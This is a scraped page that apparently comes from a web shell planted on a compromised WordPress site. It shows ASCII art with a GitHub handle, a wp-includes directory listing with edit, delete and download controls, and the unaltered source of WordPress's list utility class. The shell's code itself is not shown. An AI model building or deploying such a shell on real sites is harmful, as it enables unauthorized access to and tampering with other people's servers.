⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⢠⣴⣿⣿⣿⣷⣼⣿⠀⣴⠾⠷⠶⠦⡄⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢠⡤⢶⣦⣾⣿⣿⣿⣿⣿⣿⣿⠀⣿⣶⣶⣦⣄⠳⣤⣤⠄⠀⠀⠀ ⠀⠀⠀⢀⣼⣳⡿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣗⠈⠙⠻⣶⣄⡀⠀⠀⠀ ⠀⠀⠀⣰⠿⠁⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠈⠳⣤⠀⠀ ⠀⠀⢀⡟⠀⢰⣿⠟⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠁⠈⠻⣶⣄⠀⠀⠈⠛⢦ www.github.com/caterscam ⠀⣀⡼⠃⠀⣼⡟⠀⠀⢸⣿⡿⠉⣿⡿⠿⠛⣿⡄⠀⠀⠀⠙⠿⣆⠀⠀⠀⠈ ⠈⠁⠀⠀⢸⡟⠀⠀⠀⢸⣿⠀⠀⣿⠁⠀⠀⠈⠃⠀⠀⠀⠀⠀⠘⢷⡄⠀⠀ ⠀⠀⠀⠀⣼⠃⠀⠀⠀⢸⡟⠀⠀⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡆⠀ ⠀⠀⠀⣠⡏⠀⠀⠀⠀⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠻⠃⠀⠀⠀⠀⣻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ Current Dir: /dom834884/wp-includes/ [DIR] ID3 [ delete | rename ] [DIR] IXR [ delete | rename ] [DIR] PHPMailer [ delete | rename ] [DIR] Requests [ delete | rename ] [DIR] SimplePie [ delete | rename ] [DIR] Text [ delete | rename ] [DIR] assets [ delete | rename ] [DIR] block-bindings [ delete | rename ] [DIR] block-patterns [ delete | rename ] [DIR] block-supports [ delete | rename ] [DIR] blocks [ delete | rename ] [DIR] certificates [ delete | rename ] [DIR] css [ delete | rename ] [DIR] customize [ delete | rename ] [DIR] fonts [ delete | rename ] [DIR] html-api [ delete | rename ] [DIR] images [ delete | rename ] [DIR] interactivity-api [ delete | rename ] [DIR] js [ delete | rename ] [DIR] l10n [ delete | rename ] [DIR] php-compat [ delete | rename ] [DIR] pomo [ delete | rename ] [DIR] rest-api [ delete | rename ] [DIR] sitemaps [ delete | rename ] [DIR] sodium_compat [ delete | rename ] [DIR] style-engine [ delete | rename ] [DIR] theme-compat [ delete | rename ] [DIR] widgets [ delete | rename ] [FILE] admin-bar.php [ edit | delete | rename | download ] [FILE] atomlib.php [ edit | delete | rename | download ] [FILE] author-template.php [ edit | delete | rename | download ] [FILE] block-bindings.php [ edit | delete | rename | download ] [FILE] block-editor.php [ edit | delete | rename | download ] [FILE] block-i18n.json [ edit | delete | rename | download ] [FILE] block-patterns.php [ edit | delete | rename | download ] [FILE] block-template-utils.php [ edit | delete | rename | download ] [FILE] block-template.php [ edit | delete | rename | download ] [FILE] blocks.php [ edit | delete | rename | download ] [FILE] bookmark-template.php [ edit | delete | rename | download ] [FILE] bookmark.php [ edit | delete | rename | download ] [FILE] cache-compat.php [ edit | delete | rename | download ] [FILE] cache.php [ edit | delete | rename | download ] [FILE] canonical.php [ edit | delete | rename | download ] [FILE] capabilities.php [ edit | delete | rename | download ] [FILE] category-template.php [ edit | delete | rename | download ] [FILE] category.php [ edit | delete | rename | download ] [FILE] class-IXR.php [ edit | delete | rename | download ] [FILE] class-avif-info.php [ edit | delete | rename | download ] [FILE] class-feed.php [ edit | delete | rename | download ] [FILE] class-http.php [ edit | delete | rename | download ] [FILE] class-json.php [ edit | delete | rename | download ] [FILE] class-oembed.php [ edit | delete | rename | download ] [FILE] class-phpass.php [ edit | delete | rename | download ] [FILE] class-phpmailer.php [ edit | delete | rename | download ] [FILE] class-pop3.php [ edit | delete | rename | download ] [FILE] class-requests.php [ edit | delete | rename | download ] [FILE] class-simplepie.php [ edit | delete | rename | download ] [FILE] class-smtp.php [ edit | delete | rename | download ] [FILE] class-snoopy.php [ edit | delete | rename | download ] [FILE] class-walker-category-dropdown.php [ edit | delete | rename | download ] [FILE] class-walker-category.php [ edit | delete | rename | download ] [FILE] class-walker-comment.php [ edit | delete | rename | download ] [FILE] class-walker-nav-menu.php [ edit | delete | rename | download ] [FILE] class-walker-page-dropdown.php [ edit | delete | rename | download ] [FILE] class-walker-page.php [ edit | delete | rename | download ] [FILE] class-wp-admin-bar.php [ edit | delete | rename | download ] [FILE] class-wp-ajax-response.php [ edit | delete | rename | download ] [FILE] class-wp-application-passwords.php [ edit | delete | rename | download ] [FILE] class-wp-block-bindings-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-bindings-source.php [ edit | delete | rename | download ] [FILE] class-wp-block-editor-context.php [ edit | delete | rename | download ] [FILE] class-wp-block-list.php [ edit | delete | rename | download ] [FILE] class-wp-block-metadata-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-parser-block.php [ edit | delete | rename | download ] [FILE] class-wp-block-parser-frame.php [ edit | delete | rename | download ] [FILE] class-wp-block-parser.php [ edit | delete | rename | download ] [FILE] class-wp-block-pattern-categories-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-patterns-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-styles-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-supports.php [ edit | delete | rename | download ] [FILE] class-wp-block-template.php [ edit | delete | rename | download ] [FILE] class-wp-block-templates-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-type-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-type.php [ edit | delete | rename | download ] [FILE] class-wp-block.php [ edit | delete | rename | download ] [FILE] class-wp-classic-to-block-menu-converter.php [ edit | delete | rename | download ] [FILE] class-wp-comment-query.php [ edit | delete | rename | download ] [FILE] class-wp-comment.php [ edit | delete | rename | download ] [FILE] class-wp-customize-control.php [ edit | delete | rename | download ] [FILE] class-wp-customize-manager.php [ edit | delete | rename | download ] [FILE] class-wp-customize-nav-menus.php [ edit | delete | rename | download ] [FILE] class-wp-customize-panel.php [ edit | delete | rename | download ] [FILE] class-wp-customize-section.php [ edit | delete | rename | download ] [FILE] class-wp-customize-setting.php [ edit | delete | rename | download ] [FILE] class-wp-customize-widgets.php [ edit | delete | rename | download ] [FILE] class-wp-date-query.php [ edit | delete | rename | download ] [FILE] class-wp-dependencies.php [ edit | delete | rename | download ] [FILE] class-wp-dependency.php [ edit | delete | rename | download ] [FILE] class-wp-duotone.php [ edit | delete | rename | download ] [FILE] class-wp-editor.php [ edit | delete | rename | download ] [FILE] class-wp-embed.php [ edit | delete | rename | download ] [FILE] class-wp-error.php [ edit | delete | rename | download ] [FILE] class-wp-exception.php [ edit | delete | rename | download ] [FILE] class-wp-fatal-error-handler.php [ edit | delete | rename | download ] [FILE] class-wp-feed-cache-transient.php [ edit | delete | rename | download ] [FILE] class-wp-feed-cache.php [ edit | delete | rename | download ] [FILE] class-wp-hook.php [ edit | delete | rename | download ] [FILE] class-wp-http-cookie.php [ edit | delete | rename | download ] [FILE] class-wp-http-curl.php [ edit | delete | rename | download ] [FILE] class-wp-http-encoding.php [ edit | delete | rename | download ] [FILE] class-wp-http-ixr-client.php [ edit | delete | rename | download ] [FILE] class-wp-http-proxy.php [ edit | delete | rename | download ] [FILE] class-wp-http-requests-hooks.php [ edit | delete | rename | download ] [FILE] class-wp-http-requests-response.php [ edit | delete | rename | download ] [FILE] class-wp-http-response.php [ edit | delete | rename | download ] [FILE] class-wp-http-streams.php [ edit | delete | rename | download ] [FILE] class-wp-http.php [ edit | delete | rename | download ] [FILE] class-wp-image-editor-gd.php [ edit | delete | rename | download ] [FILE] class-wp-image-editor-imagick.php [ edit | delete | rename | download ] [FILE] class-wp-image-editor.php [ edit | delete | rename | download ] [FILE] class-wp-list-util.php [ edit | delete | rename | download ] [FILE] class-wp-locale-switcher.php [ edit | delete | rename | download ] [FILE] class-wp-locale.php [ edit | delete | rename | download ] [FILE] class-wp-matchesmapregex.php [ edit | delete | rename | download ] [FILE] class-wp-meta-query.php [ edit | delete | rename | download ] [FILE] class-wp-metadata-lazyloader.php [ edit | delete | rename | download ] [FILE] class-wp-navigation-fallback.php [ edit | delete | rename | download ] [FILE] class-wp-network-query.php [ edit | delete | rename | download ] [FILE] class-wp-network.php [ edit | delete | rename | download ] [FILE] class-wp-object-cache.php [ edit | delete | rename | download ] [FILE] class-wp-oembed-controller.php [ edit | delete | rename | download ] [FILE] class-wp-oembed.php [ edit | delete | rename | download ] [FILE] class-wp-paused-extensions-storage.php [ edit | delete | rename | download ] [FILE] class-wp-phpmailer.php [ edit | delete | rename | download ] [FILE] class-wp-plugin-dependencies.php [ edit | delete | rename | download ] [FILE] class-wp-post-type.php [ edit | delete | rename | download ] [FILE] class-wp-post.php [ edit | delete | rename | download ] [FILE] class-wp-query.php [ edit | delete | rename | download ] [FILE] class-wp-recovery-mode-cookie-service.php [ edit | delete | rename | download ] [FILE] class-wp-recovery-mode-email-service.php [ edit | delete | rename | download ] [FILE] class-wp-recovery-mode-key-service.php [ edit | delete | rename | download ] [FILE] class-wp-recovery-mode-link-service.php [ edit | delete | rename | download ] [FILE] class-wp-recovery-mode.php [ edit | delete | rename | download ] [FILE] class-wp-rewrite.php [ edit | delete | rename | download ] [FILE] class-wp-role.php [ edit | delete | rename | download ] [FILE] class-wp-roles.php [ edit | delete | rename | download ] [FILE] class-wp-script-modules.php [ edit | delete | rename | download ] [FILE] class-wp-scripts.php [ edit | delete | rename | download ] [FILE] class-wp-session-tokens.php [ edit | delete | rename | download ] [FILE] class-wp-simplepie-file.php [ edit | delete | rename | download ] [FILE] class-wp-simplepie-sanitize-kses.php [ edit | delete | rename | download ] [FILE] class-wp-site-query.php [ edit | delete | rename | download ] [FILE] class-wp-site.php [ edit | delete | rename | download ] [FILE] class-wp-speculation-rules.php [ edit | delete | rename | download ] [FILE] class-wp-styles.php [ edit | delete | rename | download ] [FILE] class-wp-tax-query.php [ edit | delete | rename | download ] [FILE] class-wp-taxonomy.php [ edit | delete | rename | download ] [FILE] class-wp-term-query.php [ edit | delete | rename | download ] [FILE] class-wp-term.php [ edit | delete | rename | download ] [FILE] class-wp-text-diff-renderer-inline.php [ edit | delete | rename | download ] [FILE] class-wp-text-diff-renderer-table.php [ edit | delete | rename | download ] [FILE] class-wp-textdomain-registry.php [ edit | delete | rename | download ] [FILE] class-wp-theme-json-data.php [ edit | delete | rename | download ] [FILE] class-wp-theme-json-resolver.php [ edit | delete | rename | download ] [FILE] class-wp-theme-json-schema.php [ edit | delete | rename | download ] [FILE] class-wp-theme-json.php [ edit | delete | rename | download ] [FILE] class-wp-theme.php [ edit | delete | rename | download ] [FILE] class-wp-token-map.php [ edit | delete | rename | download ] [FILE] class-wp-url-pattern-prefixer.php [ edit | delete | rename | download ] [FILE] class-wp-user-meta-session-tokens.php [ edit | delete | rename | download ] [FILE] class-wp-user-query.php [ edit | delete | rename | download ] [FILE] class-wp-user-request.php [ edit | delete | rename | download ] [FILE] class-wp-user.php [ edit | delete | rename | download ] [FILE] class-wp-walker.php [ edit | delete | rename | download ] [FILE] class-wp-widget-factory.php [ edit | delete | rename | download ] [FILE] class-wp-widget.php [ edit | delete | rename | download ] [FILE] class-wp-xmlrpc-server.php [ edit | delete | rename | download ] [FILE] class-wp.php [ edit | delete | rename | download ] [FILE] class-wpdb.php [ edit | delete | rename | download ] [FILE] class.wp-dependencies.php [ edit | delete | rename | download ] [FILE] class.wp-scripts.php [ edit | delete | rename | download ] [FILE] class.wp-styles.php [ edit | delete | rename | download ] [FILE] comment-template.php [ edit | delete | rename | download ] [FILE] comment.php [ edit | delete | rename | download ] [FILE] compat.php [ edit | delete | rename | download ] [FILE] cron.php [ edit | delete | rename | download ] [FILE] date.php [ edit | delete | rename | download ] [FILE] default-constants.php [ edit | delete | rename | download ] [FILE] default-filters.php [ edit | delete | rename | download ] [FILE] default-widgets.php [ edit | delete | rename | download ] [FILE] deprecated.php [ edit | delete | rename | download ] [FILE] embed-template.php [ edit | delete | rename | download ] [FILE] embed.php [ edit | delete | rename | download ] [FILE] error-protection.php [ edit | delete | rename | download ] [FILE] feed-atom-comments.php [ edit | delete | rename | download ] [FILE] feed-atom.php [ edit | delete | rename | download ] [FILE] feed-rdf.php [ edit | delete | rename | download ] [FILE] feed-rss.php [ edit | delete | rename | download ] [FILE] feed-rss2-comments.php [ edit | delete | rename | download ] [FILE] feed-rss2.php [ edit | delete | rename | download ] [FILE] feed.php [ edit | delete | rename | download ] [FILE] fonts.php [ edit | delete | rename | download ] [FILE] formatting.php [ edit | delete | rename | download ] [FILE] functions.php [ edit | delete | rename | download ] [FILE] functions.wp-scripts.php [ edit | delete | rename | download ] [FILE] functions.wp-styles.php [ edit | delete | rename | download ] [FILE] general-template.php [ edit | delete | rename | download ] [FILE] global-styles-and-settings.php [ edit | delete | rename | download ] [FILE] http.php [ edit | delete | rename | download ] [FILE] https-detection.php [ edit | delete | rename | download ] [FILE] https-migration.php [ edit | delete | rename | download ] [FILE] kses.php [ edit | delete | rename | download ] [FILE] l10n.php [ edit | delete | rename | download ] [FILE] link-template.php [ edit | delete | rename | download ] [FILE] load.php [ edit | delete | rename | download ] [FILE] locale.php [ edit | delete | rename | download ] [FILE] media-template.php [ edit | delete | rename | download ] [FILE] media.php [ edit | delete | rename | download ] [FILE] meta.php [ edit | delete | rename | download ] [FILE] ms-blogs.php [ edit | delete | rename | download ] [FILE] ms-default-constants.php [ edit | delete | rename | download ] [FILE] ms-default-filters.php [ edit | delete | rename | download ] [FILE] ms-deprecated.php [ edit | delete | rename | download ] [FILE] ms-files.php [ edit | delete | rename | download ] [FILE] ms-functions.php [ edit | delete | rename | download ] [FILE] ms-load.php [ edit | delete | rename | download ] [FILE] ms-network.php [ edit | delete | rename | download ] [FILE] ms-settings.php [ edit | delete | rename | download ] [FILE] ms-site.php [ edit | delete | rename | download ] [FILE] nav-menu-template.php [ edit | delete | rename | download ] [FILE] nav-menu.php [ edit | delete | rename | download ] [FILE] option.php [ edit | delete | rename | download ] [FILE] pluggable-deprecated.php [ edit | delete | rename | download ] [FILE] pluggable.php [ edit | delete | rename | download ] [FILE] plugin.php [ edit | delete | rename | download ] [FILE] post-formats.php [ edit | delete | rename | download ] [FILE] post-template.php [ edit | delete | rename | download ] [FILE] post-thumbnail-template.php [ edit | delete | rename | download ] [FILE] post.php [ edit | delete | rename | download ] [FILE] query.php [ edit | delete | rename | download ] [FILE] registration-functions.php [ edit | delete | rename | download ] [FILE] registration.php [ edit | delete | rename | download ] [FILE] rest-api.php [ edit | delete | rename | download ] [FILE] revision.php [ edit | delete | rename | download ] [FILE] rewrite.php [ edit | delete | rename | download ] [FILE] robots-template.php [ edit | delete | rename | download ] [FILE] rss-functions.php [ edit | delete | rename | download ] [FILE] rss.php [ edit | delete | rename | download ] [FILE] script-loader.php [ edit | delete | rename | download ] [FILE] script-modules.php [ edit | delete | rename | download ] [FILE] session.php [ edit | delete | rename | download ] [FILE] shortcodes.php [ edit | delete | rename | download ] [FILE] sitemaps.php [ edit | delete | rename | download ] [FILE] speculative-loading.php [ edit | delete | rename | download ] [FILE] spl-autoload-compat.php [ edit | delete | rename | download ] [FILE] style-engine.php [ edit | delete | rename | download ] [FILE] taxonomy.php [ edit | delete | rename | download ] [FILE] template-canvas.php [ edit | delete | rename | download ] [FILE] template-loader.php [ edit | delete | rename | download ] [FILE] template.php [ edit | delete | rename | download ] [FILE] theme-i18n.json [ edit | delete | rename | download ] [FILE] theme-previews.php [ edit | delete | rename | download ] [FILE] theme-templates.php [ edit | delete | rename | download ] [FILE] theme.json [ edit | delete | rename | download ] [FILE] theme.php [ edit | delete | rename | download ] [FILE] update.php [ edit | delete | rename | download ] [FILE] user.php [ edit | delete | rename | download ] [FILE] vars.php [ edit | delete | rename | download ] [FILE] version.php [ edit | delete | rename | download ] [FILE] widgets.php [ edit | delete | rename | download ] [FILE] wp-db.php [ edit | delete | rename | download ] [FILE] wp-diff.php [ edit | delete | rename | download ] Viewing: /dom834884/wp-includes/class-wp-list-util.php <?php /** * WordPress List utility class * * @package WordPress * @since 4.7.0 */ /** * List utility. * * Utility class to handle operations on an array of objects or arrays. * * @since 4.7.0 */ #[AllowDynamicProperties] class WP_List_Util { /** * The input array. * * @since 4.7.0 * @var array */ private $input = array(); /** * The output array. * * @since 4.7.0 * @var array */ private $output = array(); /** * Temporary arguments for sorting. * * @since 4.7.0 * @var string[] */ private $orderby = array(); /** * Constructor. * * Sets the input array. * * @since 4.7.0 * * @param array $input Array to perform operations on. */ public function __construct( $input ) { $this->output = $input; $this->input = $input; } /** * Returns the original input array. * * @since 4.7.0 * * @return array The input array. */ public function get_input() { return $this->input; } /** * Returns the output array. * * @since 4.7.0 * * @return array The output array. */ public function get_output() { return $this->output; } /** * Filters the list, based on a set of key => value arguments. * * Retrieves the objects from the list that match the given arguments. * Key represents property name, and value represents property value. * * If an object has more properties than those specified in arguments, * that will not disqualify it. When using the 'AND' operator, * any missing properties will disqualify it. * * @since 4.7.0 * * @param array $args Optional. An array of key => value arguments to match * against each object. Default empty array. * @param string $operator Optional. The logical operation to perform. 'AND' means * all elements from the array must match. 'OR' means only * one element needs to match. 'NOT' means no elements may * match. Default 'AND'. * @return array Array of found values. */ public function filter( $args = array(), $operator = 'AND' ) { if ( empty( $args ) ) { return $this->output; } $operator = strtoupper( $operator ); if ( ! in_array( $operator, array( 'AND', 'OR', 'NOT' ), true ) ) { $this->output = array(); return $this->output; } $count = count( $args ); $filtered = array(); foreach ( $this->output as $key => $obj ) { $matched = 0; foreach ( $args as $m_key => $m_value ) { if ( is_array( $obj ) ) { // Treat object as an array. if ( array_key_exists( $m_key, $obj ) && ( $m_value == $obj[ $m_key ] ) ) { ++$matched; } } elseif ( is_object( $obj ) ) { // Treat object as an object. if ( isset( $obj->{$m_key} ) && ( $m_value == $obj->{$m_key} ) ) { ++$matched; } } } if ( ( 'AND' === $operator && $matched === $count ) || ( 'OR' === $operator && $matched > 0 ) || ( 'NOT' === $operator && 0 === $matched ) ) { $filtered[ $key ] = $obj; } } $this->output = $filtered; return $this->output; } /** * Plucks a certain field out of each element in the input array. * * This has the same functionality and prototype of * array_column() (PHP 5.5) but also supports objects. * * @since 4.7.0 * * @param int|string $field Field to fetch from the object or array. * @param int|string $index_key Optional. Field from the element to use as keys for the new array. * Default null. * @return array Array of found values. If `$index_key` is set, an array of found values with keys * corresponding to `$index_key`. If `$index_key` is null, array keys from the original * `$list` will be preserved in the results. */ public function pluck( $field, $index_key = null ) { $newlist = array(); if ( ! $index_key ) { /* * This is simple. Could at some point wrap array_column() * if we knew we had an array of arrays. */ foreach ( $this->output as $key => $value ) { if ( is_object( $value ) ) { $newlist[ $key ] = $value->$field; } elseif ( is_array( $value ) ) { $newlist[ $key ] = $value[ $field ]; } else { _doing_it_wrong( __METHOD__, __( 'Values for the input array must be either objects or arrays.' ), '6.2.0' ); } } $this->output = $newlist; return $this->output; } /* * When index_key is not set for a particular item, push the value * to the end of the stack. This is how array_column() behaves. */ foreach ( $this->output as $value ) { if ( is_object( $value ) ) { if ( isset( $value->$index_key ) ) { $newlist[ $value->$index_key ] = $value->$field; } else { $newlist[] = $value->$field; } } elseif ( is_array( $value ) ) { if ( isset( $value[ $index_key ] ) ) { $newlist[ $value[ $index_key ] ] = $value[ $field ]; } else { $newlist[] = $value[ $field ]; } } else { _doing_it_wrong( __METHOD__, __( 'Values for the input array must be either objects or arrays.' ), '6.2.0' ); } } $this->output = $newlist; return $this->output; } /** * Sorts the input array based on one or more orderby arguments. * * @since 4.7.0 * * @param string|array $orderby Optional. Either the field name to order by or an array * of multiple orderby fields as `$orderby => $order`. * Default empty array. * @param string $order Optional. Either 'ASC' or 'DESC'. Only used if `$orderby` * is a string. Default 'ASC'. * @param bool $preserve_keys Optional. Whether to preserve keys. Default false. * @return array The sorted array. */ public function sort( $orderby = array(), $order = 'ASC', $preserve_keys = false ) { if ( empty( $orderby ) ) { return $this->output; } if ( is_string( $orderby ) ) { $orderby = array( $orderby => $order ); } foreach ( $orderby as $field => $direction ) { $orderby[ $field ] = 'DESC' === strtoupper( $direction ) ? 'DESC' : 'ASC'; } $this->orderby = $orderby; if ( $preserve_keys ) { uasort( $this->output, array( $this, 'sort_callback' ) ); } else { usort( $this->output, array( $this, 'sort_callback' ) ); } $this->orderby = array(); return $this->output; } /** * Callback to sort an array by specific fields. * * @since 4.7.0 * * @see WP_List_Util::sort() * * @param object|array $a One object to compare. * @param object|array $b The other object to compare. * @return int 0 if both objects equal. -1 if second object should come first, 1 otherwise. */ private function sort_callback( $a, $b ) { if ( empty( $this->orderby ) ) { return 0; } $a = (array) $a; $b = (array) $b; foreach ( $this->orderby as $field => $direction ) { if ( ! isset( $a[ $field ] ) || ! isset( $b[ $field ] ) ) { continue; } if ( $a[ $field ] == $b[ $field ] ) { continue; } $results = 'DESC' === $direction ? array( 1, -1 ) : array( -1, 1 ); if ( is_numeric( $a[ $field ] ) && is_numeric( $b[ $field ] ) ) { return ( $a[ $field ] < $b[ $field ] ) ? $results[0] : $results[1]; } return 0 > strcmp( $a[ $field ], $b[ $field ] ) ? $results[0] : $results[1]; } return 0; } }